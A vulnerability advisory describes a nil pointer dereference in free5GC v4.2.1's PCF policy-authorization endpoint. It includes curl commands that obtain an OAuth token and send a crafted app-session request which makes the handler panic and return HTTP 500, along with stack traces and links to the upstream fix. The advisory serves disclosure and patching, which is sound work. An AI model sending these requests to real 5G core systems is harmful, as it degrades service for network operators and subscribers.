free5GC's PCF npcf-policyauthorization POST /app-sessions panics on suppFeat=1 with missing AfRoutReq via nil pointer dereference

### Summary free5GC's PCF POST /npcf-policyauthorization/v1/app-sessions handler panics on a single authenticated request whose ascReqData.suppFeat == "1" (enabling traffic-routing feature negotiation) and whose medComponents entries supply an afAppId but NO AfRoutReq. The create path then calls provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, ...) with routeReq == nil and dereferences routeReq.RouteToLocs (and other fields) without a nil check, causing runtime error: invalid memory address or nil pointer dereference. Gin recovery converts the panic into HTTP 500.

The trigger is a single valid authenticated request -- changing only suppFeat from "0" to "1" flips the same shape of POST from a normal 201 Created into a panic-driven 500.

This endpoint requires a valid npcf-policyauthorization OAuth2 access token (PR:L). The PCF process is not killed (Gin recovers); the realized impact is per-request panic-DoS on the app-session create path.

Details

Validated against the PCF container in the official Docker compose lab. - Source repo tag: v4.2.1 - PCF endpoint: http://10.100.200.9:8000 - Validation date: 2026-03-12

Vulnerable handler path: `` postAppSessCtxProcedure -> medComponents loop -> appID := medComp.AfAppId routeReq := medComp.AfRoutReq // nil when AfRoutReq absent provisioningOfTrafficRoutingInfo(smPolicy, appID, routeReq, medComp.FStatus) ``

In provisioningOfTrafficRoutingInfo, routeReq.RouteToLocs, routeReq.UpPathChgSub, and routeReq.AppReloc are dereferenced directly without a nil check. When suppFeat is "0" the traffic-routing branch is not entered and the same input shape returns 201 Created; when suppFeat is "1" the branch is entered and the nil-deref fires.

Code evidence (paths in free5gc/pcf): - Affected route + dispatch: NFs/pcf/internal/sbi/api_policyauthorization.go - Create handler path: NFs/pcf/internal/sbi/processor/policyauthorization.go - Call site that passes nil routeReq into the traffic-routing helper: NFs/pcf/internal/sbi/processor/policyauthorization.go - Panic site (nil deref of routeReq.* fields): NFs/pcf/internal/sbi/processor/policyauthorization.go:1740

PoC

Reproduced end-to-end against the running PCF at http://10.100.200.9:8000.

1. Obtain a valid npcf-policyauthorization token from NRF: `` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=b84c4f0a-6010-4972-8480-e44e625b9ee4&targetNfType=PCF&scope=npcf-policyauthorization' ``

2. Trigger the panic with a single valid authenticated POST whose ascReqData.suppFeat == "1", medComponents supplies afAppId, and AfRoutReq is absent: `` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"1","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``

HTTP/1.1 500 Internal Server Error

3. Control comparison -- same request shape but suppFeat="0" -> normal 201 Created: `` curl -i -X POST 'http://10.100.200.9:8000/npcf-policyauthorization/v1/app-sessions' \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <valid_npcf_policyauthorization_jwt>' \ --data '{"ascReqData":{"suppFeat":"0","notifUri":"http://127.0.0.1:9999/appsess","ueIpv4":"10.60.0.3","dnn":"internet","medComponents":{"1":{"medCompN":1,"afAppId":"app1"}}}}' ``

HTTP/1.1 201 Created

4. PCF container logs show the panic stack landing in provisioningOfTrafficRoutingInfo with routeReq = 0x0: `` [ERRO][PCF][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/pcf/internal/sbi/processor.provisioningOfTrafficRoutingInfo(..., 0x0, ...) .../policyauthorization.go:1740 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).postAppSessCtxProcedure .../policyauthorization.go:288 github.com/free5gc/pcf/internal/sbi/processor.(*Processor).HandlePostAppSessionsContext .../policyauthorization.go:139 github.com/free5gc/pcf/internal/sbi.(*Server).HTTPPostAppSessions .../api_policyauthorization.go:119 [INFO][PCF][GIN] | 500 | POST | /npcf-policyauthorization/v1/app-sessions | ``

Impact

NULL pointer dereference (CWE-476) caused by improper handling of an exceptional branch (CWE-754): the create path passes routeReq straight into provisioningOfTrafficRoutingInfo without a nil check, even though medComp.AfRoutReq is optional and is nil for the demonstrated valid input shape. The control experiment with suppFeat="0" proves the request shape itself is otherwise valid.

Gin recovery catches the panic, so the PCF process is NOT killed and other endpoints continue serving. The realized impact is per-request: any authenticated POST against this endpoint with suppFeat="1" and medComponents.*.AfAppId set but AfRoutReq absent returns HTTP 500 with empty body and a stack trace in PCF logs.

Any party that holds (or can obtain) a valid npcf-policyauthorization token can repeatedly drive this code path to sustain a per-request panic-DoS on the app-session create endpoint, with each panic costing more CPU + log writes than the intended controlled response would have.

No Confidentiality impact (the response is 500 with empty body). No persistent Integrity impact (the panic happens before any state mutation). Availability impact is limited to per-request degradation.

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/879 Upstream fix: https://github.com/free5gc/pcf/pull/65